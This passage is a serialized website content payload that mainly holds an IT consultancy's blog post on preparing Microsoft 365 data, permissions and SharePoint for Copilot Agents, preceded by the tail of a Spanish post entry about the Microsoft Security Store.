partner de Microsoft, soluciones de seguridad nativas de Microsoft, herramientas de ciberseguridad con IA, agentes de seguridad Entra, automatización de seguridad Intune, agentes de cumplimiento Purview, seguridad cloud Microsoft Copilot, simplificar operaciones de Microsoft Security",[7830,7832],{"lang":4,"href":7831},"/de/posts/2025-09-30-security-store",{"lang":1026,"href":7833},"/en/posts/2025-09-30-security-store",{"items":7835},[7836],{"text":7837,"name":7838,"position":7839,"company":7840},"Un Forensic Agent de glueckkanja AG permite un análisis en profundidad de los incidentes de Defender XDR y acelera así las investigaciones. Al mismo tiempo, el Privileged Admin Watchdog Agent ayuda a aplicar el principio de Zero Standing Privilege eliminando identidades administrativas permanentes. Junto con otros seis agentes en el Security Store, glueckkanja AG demuestra cómo las organizaciones pueden afrontar eficazmente una amplia gama de retos de seguridad y TI.","Dorothy Li","Corporate Vice President, Security Copilot, Ecosystem and Marketplace","Microsoft",{"quote":511,"infos":7842},{"bgColor":952,"headline":7677,"subline":7678,"level":819,"textStyling":956,"flush":957,"person":7843,"form":7844},{"image":1896,"cloudinary":511,"alt":960,"name":961,"quotee":961,"quoteeTitle":962,"quote":7680},{"ctaText":976,"cta":7845,"method":938,"action":979,"fields":7846},{"skin":978},[7847,7848,7849,7850,7851,7852,7853,7854,7855,7856,7857,7858],{"type":982,"id":983,"value":984},{"label":986,"type":987,"id":988,"required":511,"requiredMsg":7686},{"label":991,"type":987,"id":615,"required":511,"requiredMsg":7688},{"label":2051,"type":995,"id":995,"required":511,"requiredMsg":7690},{"label":2054,"type":999,"id":1000,"required":752,"requiredMsg":7692},{"label":7694,"type":1004,"id":1005,"required":511,"requiredMsg":7695},{"type":982,"id":1008,"value":373},{"type":982,"id":1010,"value":2337},{"type":982,"id":1013,"value":7699},{"type":982,"id":1016,"value":1017},{"type":982,"id":1019},{"type":982,"id":1021},{"noMargin":511},{"slick":511},"/posts/2025-09-30-security-store",{"title":7718,"description":927},"posts/2025-09-30-security-store",[5262,7865,7866],"Security Copilot","Microsoft Seguridad","q9kalLR0bJHkboGtpmcGDlc8GwJlifEwNTPafbTXFKc",{"id":7869,"title":7870,"author":7871,"body":7872,"cta":767,"description":927,"eventid":767,"extension":937,"hideInRecent":752,"layout":938,"meta":8586,"moment":8588,"navigation":511,"path":8648,"seo":8649,"stem":8650,"tags":8651,"webcast":752,"__hash__":8655},"content_es/posts/2025-08-28-agent-ready-infrastructure.md","This is why you need a solid infrastructure to be agent-ready in 2025",[1286],{"type":806,"value":7873,"toc":8547},[7874,7878,7880,7886,7893,7897,7899,7902,7905,7910,7920,7927,7932,7941,7951,7969,7973,7975,7978,7982,7984,7987,7991,7993,8000,8004,8006,8017,8024,8026,8029,8049,8053,8055,8058,8062,8064,8071,8075,8077,8080,8084,8086,8097,8101,8103,8106,8110,8112,8115,8120,8134,8137,8140,8144,8146,8150,8152,8159,8162,8170,8178,8182,8184,8187,8193,8196,8201,8206,8210,8212,8219,8223,8225,8232,8240,8244,8246,8249,8252,8256,8258,8261,8264,8271,8275,8277,8280,8283,8288,8291,8294,8298,8300,8306,8309,8315,8318,8323,8327,8329,8388,8392,8394,8416,8420,8422,8425,8429,8431,8434,8438,8440,8447,8451,8453,8464,8471,8476,8479,8483,8485,8491,8498,8502,8505,8508,8512,8514,8517,8520,8524,8526,8529],[819,7875,7877],{"id":7876},"prologue","Prologue",[809,7879,825],{},[809,7881,7882,7883,3448],{},"With this omnipresence, many ideas and the desire to take action or at least experiment arise. At glueckkanja AG, we support our customers throughout this process. Of course, we are already developing and building agents, but in 80% of our projects, the primary focus is on preparing the data and tenant for agent creation. Before you implement Copilot productively in your organization, it's worthwhile to take a critical look at your infrastructure. When making decisions in this area, there are several important aspects to understand before deploying AI agents on a large scale. That’s why, in this blog post, I will guide you through the essential steps and differences. In a time when AI assistants like Microsoft 365 Copilot Agents promise to transform the working world, one principle holds true above all: ",[848,7884,7885],{},"AI is only as good as the system beneath it",[809,7887,7888,7889,7892],{},"This comprehensive guide outlines ",[1656,7890,7891],{},"how to prepare your data and infrastructure"," for Copilot Agents, covering key practices in SharePoint, Teams, and the Power Platform.",[819,7894,7896],{"id":7895},"why-your-infrastructure-data-matters","Why your infrastructure (data) matters",[809,7898,825],{},[809,7900,7901],{},"As we utilize AI agents, it is imperative to understand that these agents do not inherently possess knowledge about our organization, our data, or our unique operational context. By default, an AI agent only carries the built-in knowledge derived from the training of the Large Language Model (LLM). To effectively enhance and extend the capabilities of these AI agents, it is essential to systematically integrate various components. This enhancement can be achieved through the implementation of System Prompts, Knowledge Bases, Connectors, Web-Search functionalities, access to Microsoft Graph, Semantic Search, and additional tools. These components collectively enable the AI agents to deliver more precise, contextually relevant responses and actions, aligning closely with the specific needs and data of the organization. Since we are now in the very beginning of the agentic area, many of us will start with simple agents that source information based on existing SharePoint Online libraries.",[809,7903,7904],{},"For us in IT, that means we need to take care about our data in SharePoint Online more than ever!",[892,7906,7907],{},[809,7908,7909],{},"SharePoint Online = Knowledge = Data and Data = Key",[809,7911,7912,7915,7916,7919],{},[1656,7913,7914],{},"My clear message:"," Before adding AI copilots to your organization, ",[1656,7917,7918],{},"get your data house in order",". The same data that feeds your Copilot Agents also feeds Microsoft 365 Copilot itself.",[809,7921,7922,7923,7926],{},"And not only that! Microsoft 365 Copilot is assessing the same data. *If that data is cluttered, overshared, or poorly secured, the AI could surface incorrect or sensitive information unexpectedly *or example, imagine asking Copilot about company structure and receiving details of a confidential reorganization plan you weren’t meant to see. Such incidents occur when content is ",[1656,7924,7925],{},"overshared"," (available too broadly) on platforms like SharePoint or Teams. Note: Copilot respects all existing permissions, that means something like only can happen when permissions are misconfigured. Conversely, if data is siloed or inaccessible, AI assistants will be less useful.",[892,7928,7929],{},[809,7930,7931],{},"Copilot only surfaces organizational data that the individual user has at least view permissions for!",[809,7933,7934,1659,7937],{},[1656,7935,7936],{},"Source:",[813,7938,7939],{"href":7939,"rel":7940},"https://learn.microsoft.com/en-gb/copilot/microsoft-365/microsoft-365-copilot-privacy?azure-portal=true",[1509],[809,7942,7943,7946,7947,7950],{},[1656,7944,7945],{},"Key takeaway:"," Enterprise AI succeeds only with a solid data foundation. A recent Microsoft report identifies ",[1656,7948,7949],{},"data oversharing, data leakage, and noncompliant usage"," as top challenges to address before deploying AI. Organizations that invest in preparation of SharePoint Online and other data sources, will unlock Copilot’s benefits with confidence, while those who don’t risk security breaches or irrelevant AI outputs. Studies show about one-third of decision-makers lack full visibility into critical data.",[7952,7953,895,7954,895,7959,895,7962,895,7966],"picture",{},[7955,7956],"source",{"media":7957,"srcSet":7958},"(min-width: 992px)","https://res.cloudinary.com/c4a8/image/upload/blog/pics/data-security-report-statistics.png",[7955,7960],{"media":7961,"srcSet":7958},"(min-width: 768px)",[7955,7963],{"media":7964,"srcSet":7965},"(min-width: 576px)","https://res.cloudinary.com/c4a8/image/upload/blog/pics/data-security-report-statistics-mob.png",[838,7967],{"src":7965,"alt":7968},"Two statistics on data risks: 30% of decision-makers lack visibility into business-critical data (Visibility Gap) and 87% of security leaders reported a data breach in the past year (Data Breach Prevalence).",[819,7970,7972],{"id":7971},"_10-steps-to-improve-your-m365-data-infrastructure-now","10 steps to improve your M365 data infrastructure now",[809,7974,825],{},[809,7976,7977],{},"Now we know your agents will need data. As we as glueckkanja step in these projects, this is our typical 10-point list that we work from the top to end with our customers.",[897,7979,7981],{"id":7980},"step-1-check-core-sharing-settings","Step 1: Check Core Sharing Settings",[809,7983,2494],{},[809,7985,7986],{},"Verify tenant-wide settings that could lead to oversharing. For example, scrutinize default link sharing policies (e.g. if “Anyone with the link” or “People in your organization” is allowed by default for SharePoint/OneDrive), whether users can create public Teams by default, and if your Power Platform environment is open without governance. Misconfigured defaults here are a common cause of unintentional broad access..",[897,7988,7990],{"id":7989},"step-2-audit-public-teams","Step 2: Audit Public Teams",[809,7992,2494],{},[809,7994,7995,7996,7999],{},"Review any Microsoft Teams marked as “Public.” A public Team means ",[848,7997,7998],{},"anyone in your organization"," can discover and access its content. Ensure that any Team set to public truly contains only non-sensitive, broadly suitable content. If not, switch it to private or adjust membership. (It’s easy for a Team to be created as Public and later forgotten, exposing files to all employees.)",[897,8001,8003],{"id":8002},"step-3-review-graph-connectors","Step 3: Review Graph Connectors",[809,8005,2494],{},[809,8007,8008,8009,8012,8013,8016],{},"Check if your tenant has any ",[848,8010,8011],{},"Microsoft Graph Connectors"," set up that pull in third-party data (e.g. from external file systems, wikis, etc.). Remove or secure any connector that indexes data not everyone should see. ",[1656,8014,8015],{},"Why?"," Content indexed via Graph Connectors becomes part of your Microsoft Graph search index – meaning Copilot can potentially use it to answer prompts. You only want relevant, intended data sources connected.",[897,8018,8020,8021],{"id":8019},"step-4-generate-a-sharepoint-online-baseline-report","Step 4: Generate a ",[1656,8022,8023],{},"SharePoint Online Baseline Report",[809,8025,2494],{},[809,8027,8028],{},"SPO has different possible risks for unwanted data in Agents and Copilot. You need to look for different key metrics:",[1649,8030,8031,8034,8037,8040,8043,8046],{},[1653,8032,8033],{},"Broken Permission Inheritance on a folder-level",[1653,8035,8036],{},"Public SharePoint Sites",[1653,8038,8039],{},"Use of \"Everyone Except External Users\" or other dynamic group that contain all users",[1653,8041,8042],{},"Anyone Sharing Links",[1653,8044,8045],{},"Everyone-in-my-org Sharing Links",[1653,8047,8048],{},"Unwanted people in the Site Admins / Owners / Members / Visitors Group",[897,8050,8052],{"id":8051},"step-5-categorize-and-prioritize-risks","Step 5: Categorize and Prioritize Risks",[809,8054,2494],{},[809,8056,8057],{},"Take the findings from Steps 1–4 and rank them by severity. Which sites or files carry the most business-critical or sensitive data and also have exposure risks? Prioritize fixing those. By layering business context (e.g., a site with financial data vs. a site with generic templates), you can focus on the most impactful issues first.",[897,8059,8061],{"id":8060},"step-6-involve-site-owners-for-access-reviews","Step 6: Involve Site Owners for Access Reviews",[809,8063,2494],{},[809,8065,8066,8067,8070],{},"For each SharePoint site (or Team) highlighted as risky, have the site owner double-check who has access and if that is appropriate. Owners are typically closest to the content and can quickly spot “Oh, why does ",[848,8068,8069],{},"Everyone"," have read access to this? That shouldn’t be.” Implement a process where site admins certify permissions regularly.",[897,8072,8074],{"id":8073},"step-7-establish-ongoing-oversight","Step 7: Establish Ongoing Oversight",[809,8076,2494],{},[809,8078,8079],{},"Put in place a continuous monitoring process for new oversharing issues. Oversharing control isn’t a one-time fix; as new sites, Teams, and files get created, you need to catch misconfigurations proactively. Consider using Microsoft Purview’s reports or alerts to catch things like files shared externally or to huge groups, new public teams created, etc. Microsoft’s tools can automate alerts for these conditions, so make use of them to maintain a strong posture.",[897,8081,8083],{"id":8082},"step-8-apply-sensitivity-labels-and-dlp-policies","Step 8: Apply Sensitivity Labels and DLP Policies",[809,8085,2494],{},[809,8087,8088,8089,8092,8093,8096],{},"Use Microsoft Purview ",[1656,8090,8091],{},"Sensitivity Labels"," to classify data (Confidential, Highly Confidential, etc.) and bind those labels to protection settings. For instance, a “Confidential” label can encrypt files or prevent external sharing. Also configure ",[1656,8094,8095],{},"Data Loss Prevention (DLP)"," policies to prevent or monitor oversharing of sensitive info (like blocking someone from emailing a list of customer SSNs). These tools not only prevent accidental leaks in day-to-day use, they also work with Copilot: if Copilot tries to access or output labeled content in ways it shouldn’t, DLP can intervene. Moreover, Copilot itself will carry forward the document’s label to its responses, as noted later.",[897,8098,8100],{"id":8099},"step-9-implement-power-platform-governance","Step 9: Implement Power Platform Governance",[809,8102,2494],{},[809,8104,8105],{},"Extend your oversight to the Power Platform (Power Apps, Power Automate, etc.). Define DLP policies for Power Platform to control connectors (so someone can’t, say, make a flow that pulls data from a sensitive SharePoint list and posts it to an external service). Also consider having multiple environments (Dev/Test/Prod) with proper security so that “Citizen Developers” building agents or apps don’t inadvertently expose data. Essentially, prevent the Power Platform from becoming an ungoverned backdoor to your data.",[897,8107,8109],{"id":8108},"step-10-educate-and-enable-your-agent-builders","Step 10: Educate and Enable Your Agent Builders",[809,8111,2494],{},[809,8113,8114],{},"Finally, create guidelines and best practices for those who will be building or deploying AI agents (whether they are pro developers or business users). Establish training on handling data safely: e.g., how to choose appropriate knowledge sources for an agent, why not to include sensitive files in a broadly shared agent, how to test an agent’s output for any unexpected info. By fostering a data-aware culture among “agent makers,” you reduce the chance of someone inadvertently exposing information when designing an AI solution.",[809,8116,8117],{},[1656,8118,8119],{},"Sources:",[1649,8121,8122,8128],{},[1653,8123,8124],{},[813,8125,8126],{"href":8126,"rel":8127},"https://techcommunity.microsoft.com/blog/microsoft365copilotblog/from-oversharing-to-optimization-deploying-microsoft-365-copilot-with-confidence/4357963",[1509],[1653,8129,8130],{},[813,8131,8132],{"href":8132,"rel":8133},"https://techcommunity.microsoft.com/blog/microsoft365copilotblog/microsoft-graph-connectors-update-expand-copilot%E2%80%99s-knowledge-with-50-million-ite/4243648",[1509],[809,8135,8136],{},"After you have completed these steps, you can now securely go on and start building productive agents. To build agents, we have different platforms and features from Microsoft that we can rely on for. You'll find the most prominent examples in the next chapter. If you need help with this list, feel free to reach out to us so we can help you with this important preparation exercise.",[809,8138,8139],{},"Nothing prevents you in the meanwhile to create PoC or Test-Agents with sample data, manually uploaded files or specific data attached via RAG. But we recommend these steps before a larger implementation / rollout of agents.",[819,8141,8143],{"id":8142},"understanding-differences-between-agent-platforms","Understanding differences between Agent Platforms",[809,8145,825],{},[897,8147,8149],{"id":8148},"step-1-understand-your-agent-creators","Step 1: Understand your Agent-Creators",[809,8151,2494],{},[809,8153,8154,8155,8158],{},"After the foundation work to prepare the data, we need to understand which platforms are available to create those agents. We try to differentiate these tools by features and possibilities, but it's important to notice that creating agents and choosing the right tolling is a range. There are multiple ways to build AI agents in the Microsoft ecosystem. It’s important to pick the right one for your needs and your team’s skill level. It also clarifies when to leverage ",[1656,8156,8157],{},"Azure AI Foundry"," versus built-in Copilot Studio tools.",[809,8160,8161],{},"Microsoft offers a set of different tools that can build agents by today. While they seem like each other, they are built for different target audiences and levels of expertise. Take a closer look at the overview below. Understanding who needs to create and maintain these agents, also shows us, which Knowledge sources (= data) we need to prepare for our Agents. Beside the tools in the list below, there are even more pro-code solutions to build agents like M365 Agents Toolkit, Visual Studio Code, Agent SDK and more.  All our data preparation  steps´ apply for them as well, since they access the same data like other agents do.",[809,8163,8164,1659,8166],{},[1656,8165,7936],{},[813,8167,8168],{"href":8168,"rel":8169},"https://www.egroup-us.com/news/microsoft-copilot-ai-integration/",[1509],[7952,8171,895,8172,895,8175],{},[7955,8173],{"media":7957,"srcSet":8174},"https://res.cloudinary.com/c4a8/image/upload/v1756363984/blog/pics/table-copilot-ai-integration.png",[838,8176],{"src":8174,"alt":8177},"Comparison of three Copilot solution categories: Pre-Built (ootb), Makers, and Developers.",[897,8179,8181],{"id":8180},"step-2-identify-use-cases-and-requirements-for-your-platform","Step 2: Identify Use Cases and requirements for your platform",[809,8183,2494],{},[809,8185,8186],{},"As you can probably think of, not every platform supports every use case. Agents can be used for simple tasks, like answering questions based on existing knowledge or complex, like automatically generating answers or executing processes. Also, the final UX where and how we want to access those agents is important to decide for a platform.",[809,8188,8189],{},[838,8190],{"alt":8191,"src":8192},"Diagram showing three levels of agent capabilities from simple to advanced","https://res.cloudinary.com/c4a8/image/upload/blog/pics/agents-differences.png",[809,8194,8195],{},"With these considerations in mind, we usually try to use the easiest solution possible to build our Agent. But also, we need to find the solution that is scalable for further development. But not every Agent needs to built on Agent AI Foundry from the very beginning.",[809,8197,8198],{},[1656,8199,8200],{},"Tip:",[892,8202,8203],{},[809,8204,8205],{},"If you are not sure where to start to build your Agent, you always can use Copilot Studio and either integrate more Data from Azure AI there and publish it to Microsoft 365 Copilot. So get both \"up- and downwards compatibility\".",[819,8207,8209],{"id":8208},"rag-retrieval-augumented-generation-vs-sharepoint-vs-upload","RAG (Retrieval-Augumented Generation) vs. SharePoint vs. Upload",[809,8211,825],{},[809,8213,8214,8215,8218],{},"Looking at it the first time, everything seems to be RAG – but there are differences! When you first explore Copilot Agents and its agent capabilities, it’s tempting to assume that all knowledge integration follows the same RAG (Retrieval-Augmented Generation) pattern. While they may all ",[848,8216,8217],{},"look"," like RAG from the outside: retrieving documents and generating answers, the way they work under the hood differs significantly. Understanding these differences is essential for choosing the right approach based on your goals, scale, and technical readiness. Here is a short explanation and overview",[897,8220,8222],{"id":8221},"manual-file-uploads","Manual File Uploads",[809,8224,2494],{},[809,8226,8227,8228,8231],{},"Manual upload is the simplest way to add knowledge to a Copilot agent. You drag and drop documents directly into the Copilot Studio interface. Microsoft automatically indexes these files and retrieves relevant content during a user query. This is ideal for small pilots and early testing. ",[1656,8229,8230],{},"Also, be aware that the content of the files should be accessible to everyone with access to agent",". There is not Permission-Management here that you need to take care of. On the other hand, you will need to manually update these files in the long term if things change. Currently for Copilot Agents you can add up to 20 files manually.",[809,8233,8234,8235],{},"Source: ",[813,8236,8239],{"href":8237,"rel":8238},"https://learn.microsoft.com/en-us/microsoft-365-copilot/extensibility/copilot-studio-agent-builder-knowledge",[1509],"https://learn.microsoft.com/en-us/microsoft-365-copilot/extensibility/copilot-studio-agent-builder-knowledge#file-size-limits",[897,8241,8243],{"id":8242},"sharepoint-online","SharePoint Online",[809,8245,2494],{},[809,8247,8248],{},"This method uses Microsoft’s Retrieval API to access content directly from SharePoint Online connected via Graph Connector. The agent retrieves the most relevant content live at query time, respecting existing Microsoft 365 permissions. Content can be SharePoint sites, document libraries, folders or files. It’s dynamic, secure, and well-suited for scaling across departments or business units without managing your own infrastructure. Building up on the existing infrastructure, we are using the built-in security model from SharePoint with is a huge benefit compared to other knowledge options. Departments can easily update the files and that will be reflected within the agent. That means if two users with different access levels ask the agent, one might get an answer from a certain file while another user (without access) would not – which is exactly the behavior we want.",[809,8250,8251],{},"Note: SharePoint Lists are currently a not supported knowledge-type, so you can not index them out of the box (Q3 2025)",[897,8253,8255],{"id":8254},"custom-rag-self-managed","Custom RAG (Self-Managed)",[809,8257,2494],{},[809,8259,8260],{},"In a classic RAG setup, you build and manage the entire retrieval pipeline yourself. That includes document preprocessing, chunking, embedding, storing in a vector database, and retrieving the top matches at query time. This gives you full control over how content is processed and retrieved, but it also brings complexity and maintenance overhead. It’s best suited for advanced use cases that require customization beyond what Microsoft’s managed services offer. This is not an in-built feature in Copilot or Copilot Studio; we would do this in Microsoft Azure.",[809,8262,8263],{},"A example when to use RAG could be for instance, If you needed to integrate an AI agent with a proprietary database or thousands of PDFs stored outside of Microsoft 365, and apply custom filters, a self-managed RAG might be necessary – but this requires significant effort.",[809,8265,8266,8267],{},"source: ",[813,8268,8269],{"href":8269,"rel":8270},"https://learn.microsoft.com/en-us/azure/search/retrieval-augmented-generation-overview?tabs=docs",[1509],[897,8272,8274],{"id":8273},"what-to-choose-and-when","What to Choose and When",[809,8276,2494],{},[809,8278,8279],{},"While all three approaches involve retrieving content to support language generation, only the custom self-managed solution qualifies as “true RAG” in the technical sense. For most organizations starting out, manual uploads or SharePoint connections are significantly easier and faster to implement. They provide strong results with minimal setup - and they let teams focus on use case design and adoption, rather than infrastructure.",[809,8281,8282],{},"A general advice from my side in this point:",[892,8284,8285],{},[809,8286,8287],{},"Try to build the agents as close to your data as possible",[809,8289,8290],{},"Example: If your data is stored in large SQL databases or external CRM systems, a SharePoint Agent will not do the job. If we have all our knowledge in SharePoint, SharePoint Agents or Copilot Agents might be a good start.",[809,8292,8293],{},"Custom RAG should be considered only when your needs go beyond what the managed options can provide, not as the default starting point. A manual upload is great for the first pilot or for small pilots with limited and specific knowledge that is not often updated. In many scenarios we would just use a SharePoint library or site with the agent. Because of this, we are focusing on a scenario looking like that:",[819,8295,8297],{"id":8296},"microsoft-365-copilot-copilot-agents-security-compliance-out-of-the-box","Microsoft 365 Copilot & Copilot Agents: Security & Compliance out of the box",[809,8299,825],{},[809,8301,8302,8305],{},[1656,8303,8304],{},"Secure cloud infrastructure"," is the bedrock for enterprise AI. Microsoft provides the most secure framework possible for our Agents by putting them in context of Microsoft 365 Copilot. Every organization can trust their existing Security Framework based on Conditional Access and Multi-Factor authentication for access and their existing Governance Framework based on Microsoft Purview.",[809,8307,8308],{},"Agents that are used in M365 Copilot or published from Copilot Studio as a Teams Chatbot are only accessible within our tenant boundaries. That means we get the same level of security for these applications that we already have.",[809,8310,8311],{},[838,8312],{"alt":8313,"src":8314},"Diagram showing how Microsoft 365 Copilot accesses user data within Microsoft 365.","https://res.cloudinary.com/c4a8/image/upload/blog/pics/copilot-security.png",[809,8316,8317],{},"In addition to that, Microsoft offers several technical and organization commitments gathered as we call it \"Enterprise Grade Data Protection\".",[809,8319,8234,8320],{},[813,8321,7939],{"href":7939,"rel":8322},[1509],[897,8324,8326],{"id":8325},"microsoft-365-copilot-enterprise-data-protection-edp-for-prompts-and-responses","Microsoft 365 Copilot: Enterprise Data Protection (EDP) for Prompts and Responses",[809,8328,2494],{},[1649,8330,8331,8350,8356,8376,8382],{},[1653,8332,8333,8336,8337,6548,8340,8343,8344,6548,8347,3448],{},[1656,8334,8335],{},"Contractual Protection",": Prompts (user input) and responses (Copilot output) are protected under the ",[1656,8338,8339],{},"Data Protection Addendum (DPA)",[1656,8341,8342],{},"Product Terms",". These protections are the same as those applied to ",[1656,8345,8346],{},"emails in Exchange",[1656,8348,8349],{},"files in SharePoint",[1653,8351,8352,8355],{},[1656,8353,8354],{},"Data Security:"," Encryption at rest and in transit, Physical security controls, Tenant-level data isolation",[1653,8357,8358,8361,8362,8365,8366,883,8369,883,8372,8375],{},[1656,8359,8360],{},"Privacy Commitments"," Microsoft acts as a ",[1656,8363,8364],{},"data processor",", using data only as instructed by the customer. Supports ",[1656,8367,8368],{},"GDPR",[1656,8370,8371],{},"EU Data Boundary",[1656,8373,8374],{},"ISO/IEC 27018",", and more.",[1653,8377,8378,8381],{},[1656,8379,8380],{},"Access Control & Policy Inheritance",": Copilot respects: Identity models and permissions, Sensitivity labels, Retention policies, Audit settings, Admin configurations, AI & Copyright Risk Mitigation and Protection against: Prompt injection, Harmful content, Copyright issues (via protected material detection and Customer Copyright Commitment)",[1653,8383,8384,8387],{},[1656,8385,8386],{},"No Model Training:"," Prompts, responses, and Microsoft Graph data are NOT used to train foundation models.",[897,8389,8391],{"id":8390},"copilot-agents-with-sharepoint-online-knowledge","Copilot Agent's with SharePoint Online-Knowledge:",[809,8393,2494],{},[1649,8395,8396,8406],{},[1653,8397,8398,8401,8402,8405],{},[1656,8399,8400],{},"Permission & Sharing Model:"," Agents with SharePoint Online access always respects the permissions of the associated SharePoint site. That means, ",[1656,8403,8404],{},"on one hand, you need to ensure that everyone who should have access has at least read permissions on the site","; on the other hand, you must be vigilant about not granting unnecessary permissions that could expose sensitive information to unauthorized users**. Properly configuring permissions is essentia**l, as Copilot Agents will only be able to access and surface content that the querying user is permitted to see. Additionally, leveraging Microsoft Purview information protection ensures that sensitivity labels and data loss prevention (DLP) policies persist with the content",[1653,8407,8408,8411,8412,8415],{},[1656,8409,8410],{},"Persistent Labels & DLP:"," Enable ",[1656,8413,8414],{},"Microsoft Purview"," information protection so that sensitivity labels persist with content. Copilot agents inherit labels on source documents. Meaning if a file is classified “Confidential,” any AI-generated content or document from now on, will carry that label forward. This persistent label inheritance works in tandem with Data Loss Prevention policies to prevent AI from inadvertently exposing protected data. In practice, that means even if Copilot summarizes a sensitive file, the summary will be handled as sensitive too. This is something outstanding we do not find outside of Microsoft 365 and we won't see any AI Agent that is able to deeply integrate like this in the Microsoft 365 ecosystem!",[819,8417,8419],{"id":8418},"best-practices-to-prepare-further-sharepoint-online-for-agent-use","Best Practices to prepare further SharePoint Online for Agent use",[809,8421,825],{},[809,8423,8424],{},"To prepare SharePoint Online for effective use with Copilot Agents, follow these best practices:",[897,8426,8428],{"id":8427},"dedicated-sharepoint-site","Dedicated SharePoint Site",[809,8430,2494],{},[809,8432,8433],{},"First, create a dedicated SharePoint site or a specific folder designed exclusively for your Copilot Agent’s knowledge base. This approach helps minimize issues related to oversharing and reduces the risk of users accidentally uploading sensitive or irrelevant files to the agent’s accessible repository. If you decide to use an existing SharePoint site, carefully review its contents to ensure that no confidential or sensitive information is stored there that should not be discoverable by the agent.",[897,8435,8437],{"id":8436},"granting-access","Granting Access",[809,8439,2494],{},[809,8441,8442,8443,8446],{},"It is also important to ensure that all intended users have the necessary read permissions to access the site or folder. If you need to grant access manually, Ensure all intended users have read access to the site (for example, by ",[1656,8444,8445],{},"adding them to the SharePoint site’s Visitors group"," or an appropriate Azure AD security group) to simplify the process and prevent accidental permission misconfigurations.",[897,8448,8450],{"id":8449},"prepare-files","Prepare Files",[809,8452,2494],{},[809,8454,8455,8456,8459,8460,8463],{},"When preparing documents for use with Copilot Agents, remember that the AI currently ",[1656,8457,8458],{},"cannot interpret embedded images within"," files. ",[1656,8461,8462],{},"Therefore, add descriptive image captions or alternative text"," to help ensure that important visual information is not lost. For text-heavy documents, make sure When summarizing or referencing content, keep the total to a maximum of 1.5 million words or 300 pages to ensure Copilot works effectively.",[809,8465,8466,8467,8470],{},"For ",[1656,8468,8469],{},"Excel files",", organize your data so that each file focuses either on numbers or on text, as mixed-content tables tend to yield less accurate results. Agents also respond most reliably to queries when the relevant data is contained within a single sheet of the workbook.",[809,8472,8473],{},[848,8474,8475],{},"Agents respond best to Excel data when it’s contained in one sheet.",[809,8477,8478],{},"Example: If you have a large customer feedback survey stored in a single Excel file, separate the quantitative data (such as ratings and numerical responses) from the qualitative data (such as free-text feedback) into two different sheets. This method allows you to use tools like Python and Excel formulas to efficiently analyze the numerical data (e.g., calculate averages, sort results, determine confidence levels), while leveraging M365 Copilot’s sentiment analysis features to gain insights from the text-based feedback.",[897,8480,8482],{"id":8481},"file-limitations","File Limitations",[809,8484,2494],{},[809,8486,8487,8488],{},"Finally, be aware of the file types and size limitations supported by Copilot Agents and Copilot Studio. The following table outlines current support:",[813,8489,8239],{"href":8237,"rel":8490},[1509],[809,8492,8493,8494],{},"Also acknowledge those best practices Microsoft has shared on document lengths: ",[813,8495,8496],{"href":8496,"rel":8497},"https://support.microsoft.com/en-gb/topic/keep-it-short-and-sweet-a-guide-on-the-length-of-documents-that-you-provide-to-copilot-66de2ffd-deb2-4f0c-8984-098316104389",[1509],[8499,8500],"v-table",{":head":2401,":hide-container":2401,":table":8501},"fileLimitations",[809,8503,8504],{},"Currently unsupported Filetypes in SharePoint Online: Officially everything else that is not listed there, is not officially supported.",[809,8506,8507],{},"Certain file types, such as CSV files, may function adequately even though they are not officially supported because they closely resemble plain text formats. However, most other file types—particularly container files like CAB, EXE, ZIP, as well as image, video, and audio formats such as PNG, IMG, MP3, and MP4—are not supported at this time.",[819,8509,8511],{"id":8510},"final-thoughts","Final thoughts",[809,8513,825],{},[809,8515,8516],{},"By following these recommendations, you can ensure that your Copilot Agents have access to well-structured, secure, and high-quality data, maximizing their usefulness and minimizing the risk of accidental data exposure. Investing time in preparing your SharePoint environment sets a strong foundation for successful AI agent deployment and adoption within your organization.",[809,8518,8519],{},"In fact many of our \"Build-an-Agent\" projects starting exactly with that. Not building the agent, but preparing the infrastructure and knowledge that we have a good quality data to use for the AI, because the Agent is only as good as the system beneath it!",[819,8521,8523],{"id":8522},"want-to-learn-more","Want to learn more?",[809,8525,825],{},[809,8527,8528],{},"Join our webcast to learn how to prepare your M365 environment for Copilot Agents from infrastructure and data governance to platform decisions.",[2499,8530,8536],{"className":8531},[8532,8533,8534,8535],"cta-list__item","d-inline-block","mr-3","mb-2",[813,8537,8543],{"role":910,"className":8538,"dataText":8541,"href":8542,"type":917,"ctatext":8541,"ctahref":8542,"ctatype":917},[912,913,8539,8540,914,915],"w-100","w-lg-auto","Read the full article","/blog/corporate/2025/03/mssp-2025-en",[919,8544,8546],{"className":8545},[922],"Register now",{"title":927,"searchDepth":928,"depth":928,"links":8548},[8549,8550,8551,8564,8568,8574,8578,8584,8585],{"id":7876,"depth":928,"text":7877},{"id":7895,"depth":928,"text":7896},{"id":7971,"depth":928,"text":7972,"children":8552},[8553,8554,8555,8556,8558,8559,8560,8561,8562,8563],{"id":7980,"depth":935,"text":7981},{"id":7989,"depth":935,"text":7990},{"id":8002,"depth":935,"text":8003},{"id":8019,"depth":935,"text":8557},"Step 4: Generate a SharePoint Online Baseline Report",{"id":8051,"depth":935,"text":8052},{"id":8060,"depth":935,"text":8061},{"id":8073,"depth":935,"text":8074},{"id":8082,"depth":935,"text":8083},{"id":8099,"depth":935,"text":8100},{"id":8108,"depth":935,"text":8109},{"id":8142,"depth":928,"text":8143,"children":8565},[8566,8567],{"id":8148,"depth":935,"text":8149},{"id":8180,"depth":935,"text":8181},{"id":8208,"depth":928,"text":8209,"children":8569},[8570,8571,8572,8573],{"id":8221,"depth":935,"text":8222},{"id":8242,"depth":935,"text":8243},{"id":8254,"depth":935,"text":8255},{"id":8273,"depth":935,"text":8274},{"id":8296,"depth":928,"text":8297,"children":8575},[8576,8577],{"id":8325,"depth":935,"text":8326},{"id":8390,"depth":935,"text":8391},{"id":8418,"depth":928,"text":8419,"children":8579},[8580,8581,8582,8583],{"id":8427,"depth":935,"text":8428},{"id":8436,"depth":935,"text":8437},{"id":8449,"depth":935,"text":8450},{"id":8481,"depth":935,"text":8482},{"id":8510,"depth":928,"text":8511},{"id":8522,"depth":928,"text":8523},{"lang":940,"seoTitle":8587,"titleClass":942,"date":8588,"categories":8589,"blogtitlepic":8590,"socialimg":8591,"customExcerpt":8592,"keywords":8593,"maxContent":511,"fileLimitations":8594,"asideNav":8621,"hreflang":8641,"footer":8646,"scripts":8647,"published":511},"How to Prepare Your M365 Data for Copilot Agents","2025-08-28",[26],"head-microsoft-copilot.jpg","/blog/heads/head-microsoft-copilot.jpg","Before Microsoft 365 Copilot Agents can deliver real value, the foundation must be solid: clean data, proper permissions, and a reliable 